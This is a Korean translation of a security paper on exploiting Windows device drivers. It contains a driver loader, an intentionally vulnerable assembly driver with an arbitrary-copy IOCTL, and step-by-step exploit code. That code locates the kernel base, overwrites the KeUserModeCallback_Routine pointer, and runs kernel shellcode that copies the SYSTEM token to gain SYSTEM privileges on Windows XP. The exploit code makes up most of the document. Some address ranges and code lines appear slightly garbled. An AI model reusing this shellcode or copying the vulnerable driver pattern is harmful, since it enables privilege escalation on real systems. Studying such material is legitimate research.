Exploiting Windows Device Drivers

By Piotr Bania <bania.piotr@gmail.com>
http://pb.specialised.info

"By the pricking of my thumbs, something wicked this way comes . . ."

"Macbeth", William Shakespeare.

Univ.Chosun HackerLogin : Jeong Kyung Ho

Email : moltak@gmail.com

Introduction

장치 드라이버의 보얀 취약점은 윈도우나 다른 운영체제 시스템에서 점점 더 비중이 크게 다가오고 있습니다. 이러한 사실에 관계되어(OS의 보안 취약점) 이것은 새로운 분야이므로 소수의 기술적인 논문들이 이러한 과제를 포함하고 있습니다.

제가 기억하기로 Windows device driver 를 이용한 공격은 SEC-LABS 의 "Win32 Device Drivers Communication Vulnerabilities" 백서에서 처음으로 기술하고 있습니다. 이 문서는 드라이버를 이용한 공격기술에 대한 밑 거름을 제공합니다. 두 번째 이 논문의 가치를 확실히 정의한 것은 Barnary Jack 이라는 사람입니다. 논문의 제목은 "Remote Windows Kernel Exploitation Step into the Ring 0.

기술적 자료의 부족함으로 인해 나는 이 논문에 대해 나의 연구결과를 공유하기로 했습니다. 이 논문에서 나는 내 장치 드라이버의 개발 기술과 테스트를 위한 사용된 기술과 취약점이 있는 드라이버 코드 샘플을 가진 exploit 코드등을 포함하여 상세한 부분을 서술하기로 했습니다.

독자는 IA-32 어셈블리 및 소프트웨어 보안취약점에 대한 개발의 이전 경험에 대해 친숙해져야 합니다. 또 이전에 언급한 두 가지의 백서에 대해 읽어보는 것을 추천하는 바입니다.

연구할 때 필요한 재료

책상에서 디바이스 드라이버를 작성하려면 준비물이 필요합니다.

- 1024MB 이상의 메모리 (가상머신을 구동할 수 있는 사양이 되야 한다.)
- VM_WARE나 Virtual_PC 같은 Virtual Machine Emulator
- Windbg or Softice – VM_WARE에 Softice를 사용했지만 매우 불안정 했다.
- IDA disassembler
- 나중에 내가 사용하는 툴을 소개하겠습니다.

저는 named pipe 를 통해 VMware 머신과 호스트를 이용하여 원격 디버깅을 사용하였습니다만 일반적으로는 다른 방법에 더 익숙해 져야 합니다. 그것은 아마 당신이 미래에 드라이버를 갖고 놀 때 필요한 주요한 것들이 될 것입니다.

Ring and Lands – Bunch of facts

OS 시스템은 서로 다른 레벨에서 작동할 수 있습니다 – (흔히 Rings 라고 부릅니다.)

가장 권한이 높은 모드는 Ring 0 이라는 커널모드로 만약 당신이 Ring 0를 통해 액세스 한다면 당신은 시스템의 신입니다. 커널모드의 메모리 주소는 0x8000000 에서 시작하고 끝은 0xFFFFFFF 입니다.

사용자가 쓸 수 있는 코드(소프트웨어 응용프로그램)는 Ring 3 에서 돌아갑니다. (이것은 Ring 0 모드로의 어떠한 접속도 허용하지 않습니다.) 그리고 그것은 운영체제에 직접적인 접근을 할 수 없고 오직 다른 함수를 call을 함으로써 운영체제의 기능을 사용 할 수 있습니다. 사용자 모드의 메모리는 0x000000 에서 시작하여 0x7FFFFF 에서 끝이 납니다.

Windows 시스템은 두 가지 Ring 모드만을 사용합니다. (0 과 3)

Driver loader

이 예제 드라이버를 제시하기 전에 저는 이것을 불러오는 방법을 보여줄 것입니다. 아래는 프로그램 소스입니다.

```
/* wdl.c */
#define UNICODE
#include <stdio.h>
#include <conio.h>
#include <windows.h>
void install_driver(SC_HANDLE sc, wchar_t *name)
{
	SC_HANDLE service;
	wchar_t path[512];
	wchar_t *fp;

	if (GetFullPathName(name, 512, path, &fp) == 0)
	{
		printf("[-] Error: GetFullPathName() failed, error = %d\n",GetLastError());
		return;
	}
```

```
        service = CreateService(sc, name, name, SERVICE_ALL_ACCESS, \
        SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \
        SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, \
        NULL, NULL);

        if (service == NULL)
        {
                printf("[-] Error: CreateService() failed, error %d\n",GetLastError());
                return;
        }

        printf("[+] Creating service - success.\n");
        CloseServiceHandle(sc);

        if (StartService(service, 1, (const unsigned short**)&name) == 0)
        {
                printf("[-] Error: StartService() failed, error %d\n", GetLastError());
                if (DeleteService(service) == 0)
                        printf("[-] Error: DeleteService() failed, error = %d\n",
                GetLastError());

                return;
        }

        printf("[*] Staring service - success.\n");
        CloseServiceHandle(service);
}

void delete_driver(SC_HANDLE sc, wchar_t *name)
{
        SC_HANDLE service;
        SERVICE_STATUS status;
        service = OpenService(sc, name, SERVICE_ALL_ACCESS);

        if (service == NULL)
        {
```

```
        printf("[-] Error: OpenService() failed, error = %d\n", GetLastError());
        return;
    }
    printf("[+] Opening service - success.\n");

    if (ControlService(service, SERVICE_CONTROL_STOP, &status) == 0)
    {
        printf("[-] Error: ControlService() failed, error = %d\n",GetLastError());
        return;
    }
    printf("[+] Stopping service - success.\n");

    if (DeleteService(service) == 0) {
        printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError());
        return;
    }
    printf("[+] Deleting service - success\n");
    CloseServiceHandle(sc);
}
```

Sample vulnerable driver

다음은 이 논문에서 게시한 드라이버에 대한 취약점을 악용해보는 소스 코드입니다. 이것은 Iczelion's 의 자료를 기초로 만든 것입니다.

```
; buggy.asm start
.386
.MODEL FLAT, STDCALL
OPTION CASEMAP:NONE
INCLUDE D:\masm32\include\windows.inc
INCLUDE inc\string.INC
INCLUDE inc\ntstruc.INC
INCLUDE inc\ntddk.INC
INCLUDE inc\ntoskrnl.INC
INCLUDE inc\NtDll.INC
INCLUDELIB D:\masm32\lib\wdm.lib
INCLUDELIB D:\masm32\lib\ntoskrnl.lib
```

```
INCLUDELIB D:\masm32\lib\ntdll.lib

.CONST
pDevObj PDEVICE_OBJECT 0
TEXTW szDevPath, <\Device\BUGGY/0>
TEXTW szSymPath, <\DosDevices\BUGGY/0>

.CODE
assume fs : NOTHING

DriverDispatch proc uses esi edi ebx, pDriverObject, pIrp
        mov edi, pIrp
        assume edi : PTR _IRP
        sub eax, eax
        mov [edi].IoStatus.Information, eax
        mov [edi].IoStatus.Status, eax
        assume edi : NOTHING

        mov esi, (_IRP PTR [edi]).PCurrentIrpStackLocation
        assume esi : PTR IO_STACK_LOCATION
        .IF [esi].MajorFunction == IRP_MJ_DEVICE_CONTROL

                mov eax, [esi].DeviceIoControl.IoControlCode
                .IF eax == 011111111h

                mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer
                test eax,eax
                jz no_write

                mov edi, [eax] ; [inbuffer] = dest
                mov esi, [eax+4] ; [inbuffer+4] = src
                mov ecx, 512 ; ecx = 512 bytes
                rep movsb ; copy


no_write:
```

```
                    .ENDIF
    .ENDIF
    assume esi : NOTHING
    mov edx, IO_NO_INCREMENT ; special calling
    mov ecx, pIrp
    call IoCompleteRequest
    mov eax, STATUS_SUCCESS
    ret

DriverDispatch ENDP
DriverUnload proc uses ebx esi edi, DriverObject
        ocal usSym : UNICODE_STRING

        invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
        invoke IoDeleteSymbolicLink, ADDR usSym
        invoke IoDeleteDevice, pDevObj
        ret

DriverUnload ENDP
.CODE INIT

DriverEntry proc uses ebx esi edi, DriverObject, RegPath
        local usDev : UNICODE_STRING
        local usSym : UNICODE_STRING
        invoke RtlInitUnicodeString, ADDR usDev, OFFSET szDevPath
        invoke IoCreateDevice, DriverObject, 0, ADDR usDev, FILE_DEVICE_NULL, 0, FALSE,

OFFSET pDevObj
        test eax,eax
        jnz epr
        invoke RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
        invoke IoCreateSymbolicLink, ADDR usSym, ADDR usDev
        test eax, eax
        jnz epr
        mov esi, DriverObject
        assume esi : PTR DRIVER_OBJECT
```

```
        mov [esi].PDISPATCH_IRP_MJ_DEVICE_CONTROL, OFFSET DriverDispatch
        mov [esi].PDISPATCH_IRP_MJ_CREATE, OFFSET DriverDispatch
        mov [esi].PDRIVER_UNLOAD, OFFSET DriverUnload
        assume esi : NOTHING
        mov eax, STATUS_SUCCESS

epr:
        ret
DriverEntry ENDP

End DriverEntry

; buggy.asm ends
```

Description of the vulnerability

아래의 소스에서 뚜렷한 취약점을 찾아 볼 수 있을 것입니다.

```
--- SNIP ----------------------------------------------------------
.IF eax == 011111111h
        mov eax, (_IRP ptr [edi]).SystemBuffer ; inbuffer
        test eax,eax
        jz no_write
        mov edi, [eax] ; [inbuffer] = dest
        mov esi, [eax+4] ; [inbuffer+4] = src
        mov ecx, 512 ; ecx = 512 bytes
        rep movsb ; copy
no_write:
.ENDIF
--- SNIP ----------------------------------------------------------
```

만일 드라이버가 lpInputBuffer parameter의 값과 0x01111111 을 비교한 값을 얻는다면, 그것은 Null 과 비교한 것과 같습니다. 그러나 인자가 서로 다른 경우 드라이버는 input buffer(source / destination) 의 데이터를 읽어 오고 원본 메모리를 대상 메모리 영역에 512bytes 만큼 카피를 하게 됩니다.(memcpy() 와 비슷한 기능입니다.) 아마도 당신은 어떻게 이

렇게 쉽게 메모리가 파손되는지에 대해 생각하고 있을 것입니다. 물론 취약점을 악용하는 것은 매우 쉽지만 드라이버안에 데이터를 쓸 수 없다는 사실과 대상 메모리 주소의 파라미터에 하드코드 스택 주소를 통과하는 것은 전혀 쓸모 없다는 것에 대해 생각해 봐야 합니다. 또한 저런 버그가 대중적인 소프트웨어에서 존재하지 않는다고 말한다면 그것은 틀린 것입니다. 더욱이 이런 공격 기술은 메모리의 다양한 취약점을 공격하는 것으로도 묘사 될 수 있다. off-by-one 이라 불리는 버그는 공격자가 겹쳐 쓸 메모리를 지정해 주지 않습니다. 상상의 날개를 펼치고 자 시작합시다.

Objective: 쓸 수 있는 데이터를 사용할 위치

무엇보다도 우리는 윈도우 운영 시스템의 대부분들 중에 사용가능 한 모듈은 일부 커널 모드에서 찾을 필요가 있습니다. (예를 들면 윈도우 계열의 윈도우NT). 일반적으로 이런 사고유형의 증가는 다른 시스템으로 인한 성공적인 공격에 향상됩니다. 그래서 ntoskrnl.exe를 스캔 해보면 - 윈도우의 실제 커널입니다.

- KeSetTimeUpdateNotifyRoutine
- PsSetCreateThreadNotifyRoutine
- PsSetCreateProcessNotifyRoutine
- PsSetLegoNotifyRoutine
- PsSetLoadImageNotifyRoutine

이것은 매우 유용할 것 같습니다. Kesettimeupdatenotifyroutine 의 검사를 예로 들면:

```
PAGE:8058634C public KeSetTimeUpdateNotifyRoutine
PAGE:8058634C KeSetTimeUpdateNotifyRoutine proc near
PAGE:8058634C mov KiSetTimeUpdateNotifyRoutine, ecx
PAGE:80586352 retn
PAGE:80586352 KeSetTimeUpdateNotifyRoutine endp
```

다음과 같은 함수들은 KiSetTimeUpdateNotifyRoutine 처럼 스스로 메모리 주소에 이름이 지어지게 되고 ECX 레지스트리 값이 써집니다.

```
.text:8053512C loc_8053512C: ; CODE XREF: KeUpdateRunTime+5E
```

j
.text:8053512C cmp ds:KiSetTimeUpdateNotifyRoutine, 0
.text:80535133 jz short loc_80535148
.text:80535135 mov ecx, [ebx+1F0h]
.text:8053513B call ds:KiSetTimeUpdateNotifyRoutine
.text:80535141 mov eax, large fs:1Ch
.text:80535147 nop

0x8053513B의 명령에서 알 수 있던 것 처럼 KiSetTimeUpdateNotifyRoutine로부터 기억장치 주소를 수행합니다. (물론 그것이 0이 아닐 때). 이것은 우리에게 KiSetTimeUpdateNotifyRoutine을 우리가 수행하고 싶은 기억장치의 주소를 겹쳐서 쓰는 것과 바꿔서 쓰도록 기회를 줍니다. 그러나 이 방법에 대한 몇몇 문제가 있습니다. 내가 몇몇 윈도우의 커널들을 비교해보고 추측해보니 - 대부분의 경우 이런 절차를 "routines"이라 불렀습니다. (dword ptr [KiSetTimeUpdateNotifyRoutine] 이라고 불리기도 함.) - 그것들은 오직 읽거나 쓰기만을 할수 있는데, 절대로 실행은 할 수 없었습니다. 이것은 나에게 매우 실망스러운 결과를 주었습니다. 그래서 나는 다른 그럴싸하고 약한 코드를 찾는 것을 시작했습니다. 그리고 몇몇의 교차참조 된 메모리들을 비교하고, 다음 주소를 찾아냈습니다.

(나는 이 값의 이름을 KeUserModeCallback_Routine 라고 지어 기록했습니다.)
.data:8054B208 KeUserModeCallback_Routine dd ? ; DATA XREF: sub_8053174B+94 r
.data:8054B208 ; KeUserModeCallback+C2 r ...
Referenced by:
PAGE:8058696E loc_8058696E: ; CODE XREF: KeUserModeCallback+A6 j
PAGE:8058696E cmp dword ptr [ebp-3Ch], 0
PAGE:80586972 jbe short loc_80586980
PAGE:80586974 add dword ptr [ebx], 0FFFFFF00h
PAGE:8058697A call KeUserModeCallback_Routine

0x8058697a의 커널 명령어를 사용할 수 있다는 것을 알 수 있었습니다.
이는 타격을 줄 수 있는 충분한 결과를 줍니다. 그래서 우리는 지금 전략을 세우는 것이 좋습니다.

NOTE: 당연히 다른 사람이 사악한 생각으로 공격을 위하여 사용할 지도 모릅니다. 그리고 당신은 자신의 시스템 서비스 테이블을 설치하거나 조금 더 강력한 일을 할 수도 있습니다.

간략히 여기에 우리가 취약점을 이용하기 위한 메인 포인트가 있습니다.

1) ntoskrnl.exe의 기초를 찾는가? 매번 윈도우가 실행될 때마다 바뀌어야만 하는 것이다.

2) ntoskrnl.exe 모듈의 유저 영역 공간을 로드하고 KeUserModeCallback_Routine의 주소를 얻습니다. 마지막으로 ntoskrl 의 베이스 에 그것을 추가한 후 정확한 가상 주소를 얻으세요.

3) 첫 번째 신호를 보내고 KeUserModeCallback_Routine 주소에서 512 바이트를 얻으세요. (버그의 본질 때문에 우리의 안정성을 증가시킬 것입니다. 우리가 KeUserModeCallback_Routine 의 4개 바이트만 바꿀 것이기 때문입니다.)

4)특별히 만들어진 자료를 가진 신호를 보내세요. (대부분 setp_ 이전의 것을 읽고 KeUserModeCallBackRoutine값을 덮어씁니다. 그리고 기억장치를 가리키게 됩니다.)(shellcode)

5)특별한 커널모드의 쉘 코드를 개발하세요.(물론 쉘 코드는 Point4 이전에 준비되어있을 것입니다? 4번째 단계? 그것을 수행하세요.)

5a) KeUserModeCallback_Routine의 포인터를 리셋합니다.
5b) 시스템이 처리하는 징표로서 주어진 프로세스를 줍니다.
5c) 오래된 KeUserModeCallback_Routine에 실행됩니다.

Point 1: Locate ntoskrnl.exe base

Ntoskrnl(windows kernel)은 모든 부팅에 기초하여 변화하며, 이것 때문에 그것의 베이스 주소를 직접 수정해도 쓸모 없을 것이기 때문에 우리는 하지 않습니다. 그래서 우리는 native API와 SystemModuleInformaion Class 의 NtQuerySystemInformation 주소를 얻을 필요가 있습니다. 다음과 같

은 코드는 이 프로세스를 설명하고 있습니다.

NtQuerySystemInformaion prototype:

```
; ------------------------------------------------------------------
; Gets ntoskrnl.exe module base (real)
; ------------------------------------------------------------------
get_ntos_base        proc
        local __MODULES : _MODULES
        pushad

        @get_api_addr "ntdll","NtQuerySystemInformation"
        @check 0,"Error: cannot grab NtQuerySystemInformation address"
        mov ebx,eax ; ebx = eax = NTQSI addr

        call a1 ; setup arguments
        ns dd 0
        a1: push 4
        lea ecx,[__MODULES]
        push ecx
        push SystemModuleInformation
        call eax ; execute the native
        cmp eax,0c0000004h ; length mismatch?
        jne error_ntos

        push dword ptr [ns] ; needed size
        push GMEM_FIXED or GMEM_ZEROINIT ; type of allocation
        @callx GlobalAlloc ; allocate the buffer
        mov ebp,eax

        push 0 ; setup arguments
        push dword ptr [ns]
        push ebp
        push SystemModuleInformation
        call ebx ; get the information
```

```
        test eax,eax ; still no success?
        jnz error_ntos

        ; first module is always
        ; ntoskrnl.exe
        mov eax,dword ptr [ebp.smi_Base] ; get ntoskrnl base
        mov dword ptr [real_ntos_base],eax ; store it

        push ebp ; free the buffer
        @callx GlobalFree

        popad
        ret

error_ntos: xor eax,eax
        @check 0,"Error: cannot execute NtQuerySystemInformation"

get_ntos_base   endp

_MODULES    struct
dwNModules dd 0

;_SYSTEM_MODULE_INFORMATION:
        smi_Reserved dd 2 dup (0)
        smi_Base dd 0
        smi_Size dd 0
        smi_Flags dd 0
        smi_Index dw 0
        smi_Unknown dw 0
        smi_LoadCount dw 0
        smi_ModuleName dw 0
        smi_ImageName db 256 dup (0)
;_SYSTEM_MODULE_INFORMATION_SIZE = $-offset _SYSTEM_MODULE_INFORMATION
                ends
```

Point 2: Load ntoskrnl.exe module and get

KeUserModeCallback_Routine address

Ntoskrnl.ext를 애플리케이션의 공간 안에서 로딩하는 것은 아주 간단합니다. 우리는 LoadLibraryEx API를 통해서 할 수 있습니다. 윈도우 커널은 다른 KeUserModeCallback_Routine의 다른 주소를 갖고 있고, 이것 때문에 우리는 다른 커널의 정확한 주소를 얻을 필요가 있습니다. 당신이 볼 수 있던 대로 당신의 요청에 대한 요구는 ntoskrnl.exe 에 포함되어 있는 KeUserModeCallback 함수에서 오게 됩니다. (call dword ptr[KiSetTimeUpdateNotifyRoutine]). 우리는 이러한 사실들을 이용하여 KeUserModeCallback 주소와 구체적인 명령을 호출하는 코드를 찾고 나서 몇 번의 계산을 통해 KeUserModeCallback_Routine 의 주소를 손에 넣을 수 있게 될 것입니다. 그 코드를 보여 드리겠습니다.

```
; ------------------------------------------------------------
; finds the KeUserModeCallback_Routine from ntoskrnl.exe
; ------------------------------------------------------------
find_KeUserModeCallback_Routine proc

        pushad

        push 1 ;DONT_RESOLVE_DLL_REFERENCES
        push 0
        @pushsz "C:\windows\system32\ntoskrnl.exe" ; ntoskrnl.exe is ok also
        @callx LoadLibraryExA ; load library
        @check 0,"Error: cannot load library"
        mov ebx,eax ; copy handle to ebx

        @pushsz "KeUserModeCallback"
        push eax
        @callx GetProcAddress ; get the address
        mov edi,eax

        @check 0,"Error: cannot obtain KeUserModeCallback address"


scan_for_call:
        inc edi
```

```
        cmp word ptr [edi],015FFh ; the call we search for?
        jne scan_for_call ; nope, continue the scan

        mov eax,[edi+2] ; EAX = call address
        mov ecx,[ebx+3ch]
        add ecx,ebx ; ecx = PEH
        mov ecx,[ecx+34h] ; ECX = kernel base from PEH
        sub eax,ecx ; get the real address
        mov dword ptr [KeUserModeCallback_Routine],eax ; store
        popad
        ret
find_KeUserModeCallback_Routine endp
```

Point 3: 첫 번째 신호를 보내고 KeUserModeCallback_Routine 주소에서부터 512 바이트를 얻어오시오!
우리가 잘못된 자료를 512바이트의 커널 자료에 덮어 쓸 때, 우리는 기계를 망가뜨릴 확률이 높습니다. 이러한 경우를 피하기 위해 우리는 까다로운 방법을 사용 할 것입니다 : 첫 번째 신호를 전송하여 특수하게 채워진 lpinputbuffer (패킷) 구조로부터 악성코드를 보여줌으로써, 우리는 본래의 ntoskrnl datas을 얻을 것입니다. (우리는 그 다음 점에 있는 읽기전용 데이터를 사용 할 것이다.)

```
D_PACKET struct ; little vulnerable driver
    dp_dest dd 0 ; signal struct
    dp_src dd 0
D_PACKET ends
        ; first signal copies original bytes to the buffer

        mov eax,dword ptr [KeUserModeCallback_Routine]
        mov dword ptr [routine_addr],eax
        mov [edi.D_PACKET.dp_src],eax ; eax = source
        mov [edi.D_PACKET.dp_dest],edi ; edi = dest (allocated mem)
        add [edi.D_PACKET.dp_dest],8 ; edi += sizeof(D_PACKET)
        mov ecx,512 ; size of input buffer
        call talk2device ; send the signal!!!
```

```
; code will be stored at edi+8
```

Point 4: KeUserModeCallback_Routine를 덮어 쓰시오!
이 시점에서는 우리가 가지고 있는 Shellcode 때문에 ntoskrnl.exe 가 실행 될 것이다. 일반적으로, 여기에서 우리는 스와핑의 값을 이전 신호(패킷 일원) 에서 전송한다. 그리고 우리는 오직 첫 신호에 있는 읽기 버퍼의 처음의 4 바이트만 변경한다.

```
; make the old KeUserModeCallback_Routine point to our shellcode
; and exchange the source packet with destination packet
mov [edi+8],edi ; overwrite the old routine
add [edi+8],512 + 8 ; make it point to our shellc.
mov eax,[edi.D_PACKET.dp_src]
mov edx,[edi.D_PACKET.dp_dest]
mov [edi.D_PACKET.dp_src],edx ; fill the packet structure
mov [edi.D_PACKET.dp_dest],eax

mov ecx,MY_ADDRESS_SIZE
call talk2device ; do the magic thing!
```

Point 5: 특수 커널 모드의 Shellcode를 개발하시오!
드라이버를 악용하기 때문에, 그것은 우리가 정상적인 Shellcode를 사용할 수 없는 게 논리에 맞습니다. 예를 들면 우리는 우리의 윈도우에서 몇몇의 다른 syscall shellcode 를 사용할 수 있습니다. (SecurityFocus에서 간행하는 참고 단면도를 조사해 보시오.)

그러나, 그곳에는 더 유용한 개념들이 존재합니다. 여기에서 나는 Xfocus에서 Eyas에 의해 첫 번째로 소개된 Shellcode에 관해 이야기 하겠습니다. 그 아이디어는 아주 간단합니다. 첫 번째로 우리는 시스템의 토큰을 찾는 것과 , 우리의 과정에서 이것을 할당하는 게 필요합니다.

- 이 트릭은 우리의 프로세스에게 시스템 권한을 제공할 것입니다.

알고리즘 :
- ETHREAD 찾기. (fs : [0x124]에 항상 위치한다.)
- ETHREAD로부터 EPROCESS 구분 분석을 시작합니다.

- 우리가 사용하는 EPROCESS.ActiveProcessLinks의 모든 실행중인 프로세스를 검사합니다.
- 시스템 pid와 함께 실행하는 과정을 비교. (window XP 는 항상 4와 같다.)
- 그것을 얻었을 때, 우리는 우리의 pid를 찾고, 우리에게 우리의 프로세스의 시스템 토큰을 할당합니다.

여기에 모든 shellcode가 있습니다.

```
; ------------------------------------------------------------
; Device Driver shellcode
; ------------------------------------------------------------
XP_PID_OFFSET equ 084h ; hardcoded numbers for Windows XP
XP_FLINK_OFFSET equ 088h
XP_TOKEN_OFFSET equ 0C8h
XP_SYS_PID equ 04h

my_shellcode proc
        pushad

        db 0b8h ; mov eax,old_routine
old_routine dd 0 ; hardcoded

          db 0b9h ; mov ecx,routine_addr
routine_addr dd 0 ; this too

        mov [ecx],eax ; restore old routine
                      ; avoid multiple calls...

        ; ----------------------------------------
        ; start escalation procedure
        ; ----------------------------------------

        mov eax,dword ptr fs:[124h]
        mov eax,[eax+44h]
        push eax ; EAX = EPROCESS
```

```
s1:         mov eax,[eax+XP_FLINK_OFFSET] ; EAX = EPROCESS.ActiveProcessLinks.Flink
            sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
            cmp [eax+XP_PID_OFFSET],XP_SYS_PID ; UniqueProcessId == SYSTEM PID ?
            jne s1 ; nope, continue search
                    ; EAX = found EPROCESS

            mov edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token
            and edi,0ffffff8h ; aligned by 8

            pop eax ; EAX = EPROCESS
            db 68h ; hardcoded push

my_pid      dd 0
            pop ebx ; EBX = pid to escalate

s2:         mov eax,[eax+XP_FLINK_OFFSET] ; EAX = EPROCESS.ActiveProcessLinks.Flink
            sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
            cmp [eax+XP_PID_OFFSET],ebx ; is it our PID ???
            jne s2 ; nope, try next one

            mov [eax+XP_TOKEN_OFFSET],edi ; party's over :)

            popad

            db 68h    ; push old_routine
old_routine2 dd 0 ; ret
            ret

my_shellcode_size equ $ - offset my_shellcode
my_shellcode endp;
```